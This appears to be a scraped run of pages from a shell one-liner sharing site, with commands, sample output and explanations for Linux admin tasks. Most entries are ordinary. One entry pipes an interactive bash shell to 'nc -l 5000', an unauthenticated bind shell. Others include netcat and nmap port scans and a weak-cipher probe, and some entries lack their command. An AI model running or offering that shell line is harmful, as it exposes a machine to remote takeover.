dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d'
linux-headers-2.6.28-11
linux-headers-2.6.28-11-generic
linux-image-2.6.28-11-generic
linux-restricted-modules-2.6.28-11-generic
show installed but unused linux headers, image, or modules
will show:
installed linux headers, image, or modules: /^ii/!d
avoiding current kernel: /'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d
only application names: s/^[^ ]* [^ ]* \([^ ]*\).*/\1/
awk -F: '{print "useradd -u "$3,"-c \""$5"\"","-s "$7,$1}' passwd
Input:
jsnuffy:x:600:600:Joe Snuffy:/home/jsnuffy:/bin/bash
hhandle:x:601:601:Harru Hoehandle:/home/hhandle:/bin/bash
ssimple:x:602:602:Sally Simple:/home/ssimple:/bin/bash
Output:
useradd -u 600 -c "Joe Snuffy" -s /bin/bash jsnuffy
useradd -u 601 -c "Harru Hoehandle" -s /bin/bash hhandle
useradd -u 602 -c "Sally Simple" -s /bin/bash ssimple
Create user add lines from partial passwd file
Handy if you are installing a new server or recovering an old one and you have a passwd file with the accounts you want to add to the server. If you edit the file so that only the accounts that you want to add are left this line will spit out the correct useradd lines. The uid, gecos and shell will be preserved.
bash -x script.sh
+ uname -a
Linux torgerde 2.6.35-22-generic #35-Ubuntu SMP Sat Oct 16 20:45:36 UTC 2010 x86_64 GNU/Linux
+ whoami
robert
print line and execute it in BASH
If script.sh contains only these two lines:
$ uname -a
$ whoami
date +"%V"
BASH one-liner to get the current week number
Not as cool as the python example, but it still works.
grep Mar/2009 /var/log/apache2/access.log | awk '{ print $1 }' | sort -n | uniq -c | sort -rn | head
Functions: awk grep sort uniq
grep apache access.log and list IP's by hits and date - sorted
find . -empty -type f -delete
Recursively remove 0kb files from a directory
mount --bind /old/directory/path /new/directory/path
Mount directories in different locations
Like symlinked directories, you can mount a directory at a different location. For example mounting a directory from one location in to the http root without having to make your program follow symlinks or change permissions when reading.
printf "\e[8;70;180;t"
Resize a Terminal Window
Replace 70 with the desired height.
Replace 180 with the desired width.
I put it in my bashrc, because by default my terminal is too small.
update-alternatives --config java
On Debian systems, choose which command provides java. Works for all alternatives listed in /etc/alternatives.
cut -f 1 three-column.txt > first-column.txt
Short one line while loop that outputs parameterized content from one file to another
There is a common command for outputting a field or list of fields from each line in a file. Why wouldn't you just use cut?
‹ First < 76 77 78 79 80 > Last ›
echo {'1,2,3',4}" o'clock" ROCK
Happy Days
AFAIR this is the wording ;)
lsof -c -r
Monitoring file handles used by a particular process
-r : repeat mode
screen -x
Share a screen session
tweet () { curl -u UserName -d status="$*" http://twitter.com/statuses/update.xml; }
another tweet function
This version of tweet() doesn't require you to put quotes around the body of your tweet... it also prompts you for password. It will still barf on a '!' character.
qrurl() { curl -sS "http://chart.apis.google.com/chart?chs=200x200&cht=qr&chld=H|0&chl=$1" -o - | display -filter point -resize 600x600 png:-; }
like 7300, but doesn't clutter your working directory with old qr.*.png files. This will get the QR barcode, and send it right into ImageMagick's 'display' tool. Usage is the same as 7300; just call this function followed by the URL:
ps auxw | grep sbin/apache | awk '{print"-p " $2}' | xargs strace
ps auxw | grep sbin/apache | awk '{print"-p " $2}' | xargs strace
Process 7313 attached - interrupt to quit
Process 7395 attached - interrupt to quit
Process 7396 attached - interrupt to quit
Process 7397 attached - interrupt to quit
Process 7398 attached - interrupt to quit
Process 7399 attached - interrupt to quit
Process 7401 attached - interrupt to quit
Process 7403 attached - interrupt to quit
Process 7448 attached - interrupt to quit
Process 7468 attached - interrupt to quit
Process 7469 attached - interrupt to quit
attach: ptrace(PTRACE_ATTACH, ...): No such process
[pid 7313] select(0, NULL, NULL, NULL, {0, 48000}
[pid 7395] poll([{fd=11, events=POLLIN}, {fd=10, events=POLLIN}, {fd=9, events=POLLIN}, {fd=8, events=POLLIN}, {fd=7, events=POLLIN}, {fd=6, events=POLLIN}, {fd=5, events=POLLIN}, {fd=4, events=POLLIN}, {fd=85, events=POLLIN}, {fd=19, events=POLLIN}], 10, -1
[pid 7396] semop(1572864, {{0, -1, SEM_UNDO}}, 1
[pid 7397] semop(1572864, {{0, -1, SEM_UNDO}}, 1
[pid 7398] poll([{fd=15, events=POLLIN}, {fd=19, events=POLLIN}], 2, -1
[pid 7399] semop(1572864, {{0, -1, SEM_UNDO}}, 1
[pid 7401] poll([{fd=15, events=POLLIN}, {fd=19, events=POLLIN}], 2, -1
[pid 7403] poll([{fd=15, events=POLLIN}, {fd=19, events=POLLIN}], 2, -1
[pid 7448] poll([{fd=15, events=POLLIN}, {fd=19, events=POLLIN}], 2, -1
[pid 7468] poll([{fd=15, events=POLLIN}, {fd=19, events=POLLIN}], 2, -1
[pid 7469] poll([{fd=15, events=POLLIN}, {fd=19, events=POLLIN}], 2, -1
[pid 7313] <... select resumed> ) = 0 (Timeout)
[pid 7313] gettimeofday({1300139401, 36665}, NULL) = 0
[pid 7313] waitpid(-1, 0xffdc0a68, WNOHANG|WSTOPPED) = 0
[pid 7313] select(0, NULL, NULL, NULL, {1, 0}) = 0 (Timeout)
[pid 7313] gettimeofday({1300139402, 39688}, NULL) = 0
[pid 7313] select(0, NULL, NULL, NULL, {1, 0}
Process 7313 detached
Process 7395 detached
Process 7396 detached
Process 7397 detached
Process 7398 detached
Process 7399 detached
Process 7401 detached
Process 7403 detached
Process 7448 detached
Process 7468 detached
Process 7469 detached
Functions: awk grep ps xargs
easily strace all your apache processes
This one-liner will use strace to attach to all of the currently running apache processes output and piped from the initial "ps auxw" command into some awk.
dlocate [ package | string ]
Find a file's package or list a package's contents.
This is the fastest method to search the Debian package database.
Requires the dlocate package. The dlocate db updates periodically, but you may force an update with
# dlocate-update
mpg123 `curl -s http://blip.fm/all | sed -e 's#"#\n#g' | grep mp3$ | xargs`
Functions: grep mpg123 sed
Play random music from blip.fm
cat ~/.ssh/id_rsa.pub | ssh "(cat > tmp.pubkey ; mkdir -p .ssh ; touch .ssh/authorized_keys ; sed -i.bak -e '/$(awk '{print $NF}' ~/.ssh/id_rsa.pub)/d' .ssh/authorized_keys; cat tmp.pubkey >> .ssh/authorized_keys; rm tmp.pubkey)"
This one is a bit more robust -- the remote machine may not have an .ssh directory, and it may not have an authorized_keys file, but if it does already, and you want to replace your ssh public key for some reason, this will work in that case as well, without duplicating the entry.
unrar p -inul foo.rar|mplayer -
On-the-fly unrar movie in .rar archive and play it, does also work on part archives.
smbpasswd -r -U
Change Windows Domain password from Linux
If you use Linux in a Windows domain and there are N days to expiry, this is how you can change it without resorting to a windows machine.
gofuckanalytics() { echo "DELETE FROM moz_cookies WHERE name LIKE '__utm%';" | sqlite3 $( find ~/.mozilla -name cookies.sqlite ) }
Tell Analytics to fuck itself.
See http://code.google.com/apis/analytics/docs/concepts/gaConceptsCookies.html if you are unclear about the Google Analytics cookie system. If Firefox is your daily browser, be a good Orwellian and run this command regularly.
If you see, 'SQL error near line 1: database is locked', close Firefox and run again.
to() { eval dir=\$$1; cd "$dir"; }
Functions: cd eval
Quick directory bookmarks
Set a bookmark as normal shell variable
p=/cumbersome/path/to/project
To go there
to p
This saves one "$" and is faster to type ;-) The variable is still useful as such:
vim $p/
will expand the variable (at least in bash) and show a list of files to edit.
If setting the bookmarks is too much typing you could add another function
bm() { eval $1=$(pwd); }
then bookmark the current directory with
bm p
sudo lsof -i :
> sudo lsof -i :22
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
List all process running a specfic port
lomount -diskimage /path/to/your/backup.img -partition 1 /mnt/foo
Instead of calculating the offset and providing an offset option to mount, let lomount do the job for you by just providing the partition number you would like to loop mount.
abiword --to=html file.doc --exp-props=
Use AbiWord to generate a clean HTML document from a Microsoft Word document.
Credit goes to @Porges from http://stackoverflow.com/questions/67964/what-is-the-best-free-way-to-clean-up-word-html.
nc -v -n -z -w 1 127.0.0.1 22-1000
netcat as a portscanner
ffmpeg -f alsa -r 16000 -i hw:2,0 -f video4linux2 -s 800x600 -i /dev/video0 -r 30 -f avi -vcodec mpeg4 -vtag xvid -sameq -acodec libmp3lame -ab 96k output.avi
Record audio and video from webcam using ffmpeg
Record from a webcam, audio using ALSA encoded as MP3, video as MPEG-4.
arping 192.168.1.2
ARPING 192.168.1.2 from 192.168.1.3 eth0
Unicast reply from 192.168.1.2 [0B:DE:36:AF:C1:C8] 0.968ms
arping sends ARP requests to a neighboring host. This won't work if there is an ARP subnet gateway in the middle. If there is, you'll just get the gateway's MAC address not the host's address you are really trying to get to.
(ls; mkdir subdir; echo subdir) | xargs mv
Functions: echo mkdir xargs
Create subdirectory and move files into it
With this form you dont need to cut out target directory using grep/sed/etc.
find . -type f -printf "%h\n" | cut -d/ -f-2 | sort | uniq -c | sort -rn
>find . -type f -printf "%h\n" | cut -d/ -f-2 | sort | uniq -c | sort -rn
Functions: cut find sort uniq
Count the total number of files in each immediate subdirectory
counts the total (recursive) number of files in the immediate (depth 1) subdirectories as well as the current one and displays them sorted.
Fixed, as per ashawley's comment
kill -0 [pid]
Check if a process is running
Send signal 0 to the process. The return status ($?) can be used to determine if the process is running. 0 if it is, non-zero otherwise.
tar c folder_to_encrypt | openssl enc -aes-256-cbc -e > secret.tar.enc
Functions: c++ tar
command to decrypt:
openssl enc -aes-256-cbc -d < secret.tar.enc | tar x
Of course, don't forget to rm the original files ;) You may also want to look at the openssl docs for more options.
find . -name "*.[ch]" | xargs grep "TODO"
tr '\000' '\377' < /dev/zero | dd of=allones bs=1024 count=2k
Generate a binary file with all ones (0xff) in it
This is similar to how you would generate a file with all zeros
dd if=/dev/zero of=allzeros bs=1024 count=2k
‹ First < 77 78 79 80 81 > Last ›
ls -Xp | grep -Eo "\.[^/]+$" | sort | uniq
.jpeg
.tar.gz
.txt
Functions: grep ls sort
Works on current directory, with built-in sorting.
ldapsearch -v -H ldap:// -x -D cn=,cn=,dc=,dc= -w -b ou=,dc=,dc= -s sub sAMAccountName=* '*' | perl -pne 's/(\d{11})\d{7}/"DATE-AD(".scalar(localtime($1-11644473600)).")"/e'
badPasswordTime: DATE-AD(Mon Apr 6 20:53:42 2009)
lastLogon: DATE-AD(Mon Apr 6 20:55:07 2009)
pwdLastSet: DATE-AD(Tue Mar 24 12:53:42 2009)
accountExpires: DATE-AD(Sun Nov 1 00:00:00 2009)
decoding Active Directory date format
When Ldapsearch queries an Active directory server, all the dates are shown using a timestamp of 18 digits. This perl regexp decodes them in a more human friendly notation. 11644473600 corresponds to some microsoft epoch.
count() { find $@ -type f -exec cat {} + | wc -l; }
Functions: cat find wc
Function that counts recursively number of lines of all files in specified folders
[[ "$WINDOW" ]] && PS1="\u@\h:\w[$WINDOW]\$ "
ion@atomos:~[2]$
Add this to your $HOME/.bashrc file. It will only set this prompt if it is running inside screen ($WINDOW var is set)
Looks like this...
ion@atomos:~[2]$
tar zcf - user | pv /bin/gzip > /tmp/backup.tar.gz
59.7kB 0:00:00 [ 223MB/s]
[===========================================>] 100%
Command line progress bar
This command tar?s up a directory and sends the output to gzip, showing a rate of 223MB/s.
This may require you installing the pv command.
For debian based users out there:
sudo aptitude install pv
multitail /var/log/messages /var/log/apache2/access.log /var/log/mail.info
Watch several log files in a single window
It works like a "tail -f" on several files.
Use the number keys 0-9 to set a baseline in the numbered window.
Pressing "b" let you scroll back in one of the windows.
thumbnail() { ffmpeg -itsoffset -20 -i $i -vcodec mjpeg -vframes 1 -an -f rawvideo -s 640x272 ${i%.*}.jpg }
Create a thumbnail from a video file
cat -n
sed -n 's/.*\([^<]*\)<\/foo>.*/\1/p'
Simple XML tag extract with sed
Limited, but useful construct to extract text embedded in XML tags. This will only work if bar is all on one line.
If nobody posts an alternative for the multiline sed version, I'll figure it out later...
( ( while [ 2000 -ge "$(free -m | awk '/buffers.cache:/ {print $4}')" ] || [ $(echo "$(uptime | awk '{print $10}' | sed -e 's/,$//' -e 's/,/./') >= $(grep -c ^processor /proc/cpuinfo)" | bc) -eq 1 ]; do sleep 10; done; my-command > output.txt ) & )
delay execution of a command that needs lots of memory and CPU time until the resources are available
[ 2000 -ge "$(free -m | awk '/buffers.cache:/ {print $4}')" ] returns true if less than 2000 MB of RAM are available, so adjust this number to your needs.
[ $(echo "$(uptime | awk '{print $10}' | sed -e 's/,$//' -e 's/,/./') >= $(grep -c ^processor /proc/cpuinfo)" | bc) -eq 1 ] returns true if the current machine load is at least equal to the number of CPUs.
If either of the tests returns true we wait 10 seconds and check again. If both tests return false, i.e. 2GB are available and machine load falls below number of CPUs, we start our command and save it's output in a text file.
The ( ( ... ) & ) construct lets the command run in background even if we log out. See http://www.commandlinefu.com/commands/view/3115/ .
openssl s_client -connect [host]:[sslport] -cipher LOW
Test for Weak SSL Ciphers
...if you get a certificate back, the server is accepting weak SSL ciphers
notifyme -C `cat /etc/passwd | cut -d: -f1`
root from :0.0 arrived!
Notify me when users log in
Notifyme is a program that listen in background for users login, and report on login and logout. Users can be specified from a list or in a ~/notify.rc file. -C options force to display messages on the center of the screen.See man notifyme for more details. Part of notifyme package, tested on Debian.
put current directory in LAN quickly
This works on all versions of python 2.X.
Tested on Linux and bundled python versions on Mac OSX and Solaris / UNIX
Note: Serves globally on port 8000.
Ctrl+c to stop.
git reflog show | grep '}: commit' | nl | sort -nr | nl | sort -nr | cut --fields=1,3 | sed s/commit://g | sed -e 's/HEAD*@{[0-9]*}://g'
Functions: cut grep nl sed sort
show git commit history
diff <(sort file1.txt) <(sort file2.txt)
diff two sorted files
Sees if two records differ in their entries, irrespective of order.
mencoder infile.wmv -ofps 23.976 -ovc lavc -oac copy -o outfile.avi
Convert wmv into avi
v or ctrl-x ctrl-e
/tmp/bash-fc-3778699542
Next time you are using your shell, try typing
ctrl-x ctrl-e # in emacs mode
v # in vi mode
The shell will take what you've written on the command line thus far and paste it into the editor specified by $EDITOR. Then you can edit at leisure using all the powerful macros and commands of vi, emacs, nano, or whatever.
nmap -p 80 hostname
for udp
nmap -sU -p 80 hostname
ntpq -p
WORKING EXAMPLE:
==============================================================================
Synchronized with *time server
NOT WORKING EXAMPLE:
3rd column (stratum) is 16: not synchronizing
Verify if ntpd is working properly
Used to verify if Network Time Protocol daemon is working properly.
find . -iname '*.mp3' -type f -print0 | xargs -I{} -0 cp {}
@mariusz : find shorter alternative
Functions: cp find xargs
Find and copy scattered mp3 files into one directory
No problem with word splitting. That should works on many Unix likes.
quietly() { "$@" |&:; }
Suppress output of loud commands you don't want to hear from
find . -depth -type d -exec du -s {} \; | sort -k1nr
Functions: du find sort
Size(k) of directories(Biggest first)
somewhat faster version to see the size of our directories. Size will be in Kilo Bytes. to view smallest first change '-k1nr' to '-k1n'.
newest () { find ${1:-\.} -type f |xargs ls -lrt ; }
A function to find the newest file in a directory
history | perl -F"\||<\(|;|\`|\\$\(" -alne 'foreach (@F) { print $1 if /\b((?!do)[a-z]+)\b/i }' | sort | uniq -c | sort -nr | head
$ cat test
1 command file | command file | command | command
2 command <(command file) <(command file)
3 command file > file
4 for i in `command file`; do command file; command file; done | command
5 for i in $(command file); do command file; command file | command; done
$ cat test | perl -F"\||<\(|;|\`|\\$\(" -alne 'foreach (@F) { print $1 if /\b((?!do)[a-z]+)\b/i }' | sort | uniq -c | sort -nr | head
Functions: perl sort uniq
most used commands in history (comprehensive)
Most of the "most used commands" approaches does not consider pipes and other complexities.
This approach considers pipes, process substitution by backticks or $() and multiple commands separated by ;
Perl regular expression breaks up each line using | or < ( or ; or ` or $( and picks the first word (excluding "do" in case of for loops)
note: if you are using lots of perl one-liners, the perl commands will be counted as well in this approach, since semicolon is used as a separator
lsof|grep /somemount/| awk '{print $2}'|xargs kill
lsof|grep /data/| awk '{print $2}'|xargs kill
kill 1635: No such process
kill all processes using a directory/file/etc
This command will kill all processes using a directory. It's quick and dirty. One may also use a -9 with kill in case regular kill doesn't work. This is useful if one needs to umount a directory.
‹ First < 78 79 80 81 82 > Last ›
who -r
[root@puzznic ~ ]# who -r
-OR-
[root@hotmail]# who -r
Print current runlevel
Prints current runlevel and system start time.
On older systems it also shows the last init state.
Pretty useful on remote systems, pretty useless on local ones :)
yes "echo -ne '\r'\`date\`;sleep 1" | sh
Lookup your own IPv4 address
pkill -9 search_criteria
kill some pids without specific pid
pgrep, pkill - look up or signal processes based on name and other attributes
cp -r * .??* /dest
Copy all files, including hidden files, recursively without traversing backward
You could do the following, however, brace expansion with {} is not defined in POSIX, and therefore not guaranteed to work in all shells. But, if it does, it's more convenient (although it's certainly not less typing):
cp -r {*,.??*} /dest
Sometimes there are times when I need to cp(1), mv(1) or rm(1) files recursively, but don't want to traverse the previous directory by following ../../../../ etc out of the current directory. This command prevents that. The secret sauce is ".??*". The file globbing ensures that it must start with a dot, and be followed by at least two characters. So, three characters must exist in the filename, which eliminates "." and "..".
shuf SOMEFILE
shuf is in the coreutils package
for i in ???.jpg; do mv $i $(printf %04d $(basename $i .jpg) ).jpg ; done
mv 799.jpg 0799.jpg
mv 800.jpg 0800.jpg
mv 801.jpg 0801.jpg
mv 802.jpg 0802.jpg
mv 803.jpg 0803.jpg
Functions: basename mv printf
Rename all (jpg) files written as 3 number in 4 numbers.
Useful if you have a list of images called 1 2 3 4 and so on, you can adapt it to rewrite it as 4 (in this example) 0-padded number.
seq -s "+" 3 | bc
Calculate sum of N numbers (Thanks to flatcap)
replaces "\n" with "+"
:split
Load another file in vim
You can then switch from a file to another with ^W^W
bash -x SCRIPT
+ start-stop-daemon -k 002 -S -p/var/run/jetty.pid -c jetty -d /usr/share/jetty6 -b -m -a /usr/lib/jvm/java-1.5.0-sun/bin/java -- -DSTART=/usr/share/jetty6/etc/start.config -Xmx256m -Djava.awt.headless=true -DDEBUG -Djetty.port=8070 -Xms512m -Xmx2048m -XX:PermSize=384m -XX:MaxPermSize=512m -Djetty.home=/usr/share/jetty6 -Djava.io.tmpdir=/var/cache/jetty6 -jar /usr/share/jetty6/start.jar /etc/jetty6/jetty-logging.xml /etc/jetty6/jetty.xml
process already running.
+ exit 0
pronounce(){ wget -qO- $(wget -qO- "http://www.m-w.com/dictionary/$@" | grep 'return au' | sed -r "s|.*return au\('([^']*)', '([^'])[^']*'\).*|http://cougar.eb.com/soundc11/\2/\1|") | aplay -q; }
Functions: aplay grep sed wget
Pronounce an English word using Merriam-Webster.com
The original was a little bit too complicated for me. This one does not use any variables.
mencoder "${file}" -of rawaudio -oac mp3lame -ovc copy -o audio/"${file/%avi/mp3}"
Extract audio stream from an AVI file using mencoder
This commands saves the output in the audio directory. The portion ${file/%avi/mp3} uses bash string replacement to replace the avi to mp3 within the ${file} variable.
function mcd() { [ -n "$1" ] && mkdir -p "$@" && cd "$1"; }
user@home:~$ mcd newdirectory
user@home:newdirectory $
combine `mkdir foo && cd foo` into a single function `mcd foo`
I find that I create a directory and then cd into that directory quite often. I found this little function on the internets somewhere and thought I'd share it. Just copy-paste it into you ~/.bash_profile and then `source ~/.bash_profile`.
sed -e "$ ! s/$/,/"
$ cat myfile.txt
cola
colb
colc
$ sed -e "$ ! s/$/,/" myfile.txt
cola,
colb,
Perform sed substitution on all but the last line of input
In this simple example the command will add a comma to the end of every line except the last. I found this really useful when programatically constructing sql scripts. See sample output for example.
sort -R SOMEFILE
Works in sort (GNU coreutils) 7.4, don't know when it was implemented but sometime the last 6 years.
getent passwd $(whoami) | cut -f 5 -d: | cut -f 1 -d,
Functions: cut getent passwd
Terminal - Prints out, what the users name, notifyed in the gecos field, is
dsh -M -c -f servers -- "command HERE"
micha@lucie:~$ dsh -M -c -f test -- "hostname -f"
root@abc.de: abc.de
root@xyz.de: xyz
dsh - Distributed shell, or dancer?s shell ;-)
you can put your servers into /etc/dsh/machines.list than you don't have to serperate them by commata or group them in different files and only run commands for this groups
dsh -M -c -a -- "apt-get update"
lynx -dump http://api.wunderground.com/weatherstation/WXCurrentObXML.asp?ID=KCALOSAN32 | grep GMT | awk '{print $3}'
53.1
Weather on the Command line
Get your weather from a weather station just blocks from your home. Go to http://www.wunderground.com/wundermap/ and find a weather station near you. Click on a temperature bubble for that area. When the window pops up, click on hypertext link with the station ID, then on the bottom right of the page, click on the Current Conditions XML. Thats your link! Good luck!
backup() { for i in "$@"; do cp -va $i $i.$(date +%Y%m%d-%H%M%S); done }
# ls
file1 file2 file3
# backup file1 file2 file3
`file1' -> `file1.20091110-185641'
`file2' -> `file2.20091110-185641'
`file3' -> `file3.20091110-185641'
file1 file1.20091110-185641 file2 file2.20091110-185641 file3 file3.20091110-185641
Functions: cp date
Create date based backups
This script creates date based backups of the files. It copies the files to the same place the original ones are but with an additional extension that is the timestamp of the copy on the following format: YearMonthDay-HourMinuteSecond
curl -s http://whatthecommit.com/index.txt | cowsay
ffmpeg -y -f alsa -ac 2 -i pulse -f x11grab -r 30 -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -i :0.0 -acodec pcm_s16le output.wav -an -vcodec libx264 -vpre lossless_ultrafast -threads 0 output.mp4
Proper screencast with audio using ffmpeg and x264, as per http://verb3k.wordpress.com/2010/01/26/how-to-do-proper-screencasts-on-linux/
sudo bash -c "sleep 1h ; command"
Functions: bash sudo
Run a command as root, with a delay
sleep 1h ; sudo command
sudo sleep 1h ; sudo command
won't work, because by the time the delay is up, sudo will want your password again.
pwgen 30 1
$ pwgen 30 1
ahsieyiexaiT3Ed8gaqu1ahw7iz9ru
The pwgen program generates passwords which are designed to be easily memorized by humans, while being as secure as possible. Human-memorable passwords are never going to be as secure as completely completely random passwords. [from pwgen man page]
bash -i 2>&1 | tee /dev/stderr | nc -l 5000
Functions: bash tee
Broadcast your shell thru port 5000
shutdown -h 240 & disown
shutdown pc in 4 hours without needing to keep terminal open / user logged in.
From the 'disown' man page:
disown prevents the current shell from sending a HUP signal to each of the given jobs when the current shell terminates a login session.
‹ First < 79 80 81 82 83 > Last ›
lndir sourcedir destdir
Propagate a directory to another and create symlink to content
Lndir create from source directory to destination directory a full symlink tree of all contents of source directory, really useful for propagate changes from a directory to another.
strace
Traces the system calls of a program. See http://linuxhelp.blogspot.com/2006/05/strace-very-powerful-troubleshooting.html for more information.
perl -we 'my $regex = eval {qr/.*/}; die "$@" if $@;'
$ perl -we 'my $regex = eval {qr/*/}; die "$@" if $@;'
Quantifier follows nothing in regex; marked by <-- HERE in m/* <-- HERE / at -e line 1.
Functions: eval perl
validate the syntax of a perl-compatible regular expression
Place the regular expression you want to validate between the forward slashes in the eval block.
get you public ip address
upto() { cd "${PWD/\/$@\/*//$@}" }
/a/very/long/cumbersome/directory
$ upto very
/a/very
Jump up to any directory above the current one
Usage: upto directory
curl -s http://geoiplookup.wikimedia.org/|awk -F, '{print $3,$4}'|awk -F'"' '{print "http://maps.google.com/maps?q="$4 "," $8}'
Your GeoIP location on Google Maps
if cat /proc/cpuinfo | grep " lm " &> /dev/null; then echo "Got 64bit" ; fi
Functions: cat echo grep
Check if you have 64bit by looking for "lm" in cpuinfo. lm stands for "long mem". This can also be used without being root.
`!!`
Use result of the last command
\$ which python
/usr/bin/python
\$ ll `!!`
lrwxrwxrwx 1 root root 9 2010-11-08 22:01 /usr/bin/python -> python2.6
echo "I'm going to paste this into WINDERS XP" | xsel -i
Pipe text from shell to windows cut and paste buffer using PuTTY and XMing.
Set up X forwarding in PuTTY, with X display location set to :0.0
Launch PuTTY ssh session.
Launch Xming. Make sure that display is set to :0.0 (this is default).
will insert the string into the windows cut and paste buffer.
Thanks to Dennis Williamson at stackoverflow.com for sharing...
( du -xSk || du -kod ) | sort -nr | head
Simple top directory usage with du flips for either Linux or base Solaris
No need to type out the full OR clause if you know which OS you're on, but this is easy cut-n-paste or alias to get top ten directories by singleton.
To avoid the error output from du -xSk you could always 2>/dev/null but you might miss relevant STDERR.
for (( i = 10; i > 0; i-- )); do echo "$i"; sleep 1; done
10
9
Count down from 10
Countdown from 10 or whatever you want:)
cp /really/long/path/and/file/name{,-`date -I`}
bash shell expansion
The expansion {,} in bash will repeat the given string once for each item seperated by commas. The given command will result in the following being run:
cp /really/long/path/and/file/name /really/long/path/and/file/name-`date -I`
These can be embedded as needed, ex: rm file{1,2,3{1,2,3}} would delete the files file1, file2, file31, file32, file32, and no other files.
%
Vi - Matching Braces, Brackets, or Parentheses
This is a simple command for jumping to the matching brace, square bracket, or parentheses. For example, it can take you from the beginning of a function to the end with one key stroke. To delete everything between the pairs of {}, [], or (), issue the command:
d%
To replace text between pairs of braces, brackets, or parentheses, issue the command:
c%
You can also use this command to find out if an opening brace has been properly closed.
ps -C command
ion@atomos:~$ ps -C ps
PID TTY TIME CMD
ion@atomos:~$ ps -fC ps
UID PID PPID C STIME TTY TIME CMD
preferred way to query ps for a specific process name (not supported with all flavors of ps, but will work on just about any linux afaik)
^u
Clear mistyped passwords from password prompt
Type ^u at password prompt to clear a mistyped password.
find -L -type l
./linkname
Find broken symlinks in the current directory and its subdirectories.
This is best run as root to avoid permission denials that can produce false positives.
Obviously you can specify a directory in the usual way:
find -L dirname -type l
I can't remember where I read about this or who deserves the credit for it. The find(1) manual page hints strongly toward it, however.
:g:^\s*#.*:m0
Move all comments the top of the file in vim
Python comments begin with a #. Modify to suit other languages.
Other uses: Instead of m0 use m$ for end of file or d for deleting all comments.
curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'
$ curl -s checkip.dyndns.org | grep -Eo '[0-9.]+'
64.221.138.109
What is My WAN IP?
The curl command retrieve the HTML text containing the IP address. The grep command picks out the IP address from that HTML text.
hcitool scan
Scan for nearby Bluetooth devices.
Scans local area for visible Bluetooth devices. Use 'hcitool inq' to discover the type of device it is. And use -i hciX option to specify the local Bluetooth device to use.
cmatrix -abx
matrix in your term
-a : Asynchronous scroll
-b : Bold characters on
-x : X window mode, use if your xterm is using mtx.pcf
netstat -lantp | grep -i establ | awk -F/ '{print $2}' | sort | uniq
dropbox
emacs-snapshot
firefox-bin
gvfsd-http
This corrects duplicate output from the previous command.
curl -s -X POST http://www.jsonlint.com/ajax/validate -d json="`cat file.js`" -d reformat=no
{"result":"Valid JSON","responseCode":0}
validate json
I have this saved as jsonlint chmodded +x and file.js is instead $1, but YMMV
mysql -u root -p -BNe "select host,count(host) from processlist group by host;" information_schema
banana.example.com 6
Count the number of active connections to a MySQL database.
The MySQL command "show processlist" gives a list of all the active clients.
However, by using the processlist table, in the information_schema database, we can sort and count the results within MySQL.
netstat -atn | awk ' /tcp/ {printf("%s\n",substr($4,index($4,":")+1,length($4) )) }' | sed -e "s/://g" | sort -rnu | awk '{array [$1] = $1} END {i=32768; again=1; while (again == 1) {if (array[i] == i) {i=i+1} else {print i; again=0}}}'
$ netstat -atn | awk ' /tcp/ {printf("%s\n",substr($4,index($4,":")+1,length($4) )) }' | sed -e "s/://g" | sort -rnu | awk '{array [$1] = $1} END {i=32768; again=1; while (again == 1) {if (array[i] == i) {i=i+1} else {print i; again=0}}}'
32768
Functions: awk netstat sed sort
find an unused unprivileged TCP port
Some commands (such as netcat) have a port option but how can you know which ports are unused?
git archive --format=tar HEAD | (cd /var/www/ && tar xf -)
update you web
in fact, I want to know, how to only get the modified files.
‹ First < 80 81 82 83 84 > Last ›
~ ctrl-z
Suspend an ssh session.
This must be typed before any other characters have been entered on the line. Use fg, as usual, to resume the ssh session.
for vm in $(vmware-cmd -l);do echo -n "${vm} ";vmware-cmd ${vm} getstate|awk '{print $2 " " $3}';done
/opt/vmware/vm1/vm1.vmx = on
/opt/vmware/vm2/vm2.vmx = on
/opt/vmware/vm3/vm3.vmx = off
/opt/vmware/vm4/vm4.vmx = on
VMware Server print out the state of all registered Virtual Machines.
I use this command on my machines running VMware Server to print out the state of all registered Virtual machines.
curl -u YourUsername:YourPassword -d status="Your status message go here" http://twitter.com/statuses/update.xml
Sat Jun 27 21:33:19 +0000 20092363785326Settima robot message: ALARM ZONE 03 (sent via command line)webfalsefalse9982902m33600m33600http://static.twitter.com/images/default_profile_normal.pngfalse49ae4e80000000000ffe0ff9287bc443Tue Nov 06 00:18:20 +0000 20070-10800Greenlandhttp://static.twitter.com/images/themes/theme1/bg.giffalse10falsefalsefalse
Twitter update from terminal (pok3's snipts ?)
Found it on snipt, pok3, is it yours?
I put my user = m33600, the password and the status was my robot message:
Settima robot message: ALARM ZONE 3 (sent via command line).
Now bots may have their identity on twitter...
nmap -R -sL 209.85.229.99/27 | awk '{if($3=="not")print"("$2") no PTR";else print$3" is "$2}' | grep '('
(209.85.229.96) is ww-in-f96.google.com
(209.85.229.97) is ww-in-f97.google.com
(209.85.229.98) is ww-in-f98.google.com
(209.85.229.99) is ww-in-f99.google.com
(209.85.229.100) is ww-in-f100.google.com
(209.85.229.101) is ww-in-f101.google.com
(209.85.229.102) is ww-in-f102.google.com
(209.85.229.103) is ww-in-f103.google.com
(209.85.229.104) is ww-in-f104.google.com
(209.85.229.105) is ww-in-f105.google.com
(209.85.229.106) is ww-in-f106.google.com
(209.85.229.107) no PTR
(209.85.229.108) no PTR
(209.85.229.109) no PTR
(209.85.229.110) no PTR
(209.85.229.111) no PTR
(209.85.229.112) is ww-in-f112.google.com
(209.85.229.113) is ww-in-f113.google.com
(209.85.229.114) no PTR
(209.85.229.115) is ww-in-f115.google.com
(209.85.229.116) is ww-in-f116.google.com
(209.85.229.117) no PTR
(209.85.229.118) is ww-in-f118.google.com
(209.85.229.119) no PTR
(209.85.229.120) is ww-in-f120.google.com
(209.85.229.121) no PTR
(209.85.229.122) no PTR
(209.85.229.123) is ww-in-f123.google.com
(209.85.229.124) no PTR
(209.85.229.125) is ww-in-f125.google.com
(209.85.229.126) is ww-in-f126.google.com
(209.85.229.127) is ww-in-f127.google.com
List of reverse DNS records for a subnet
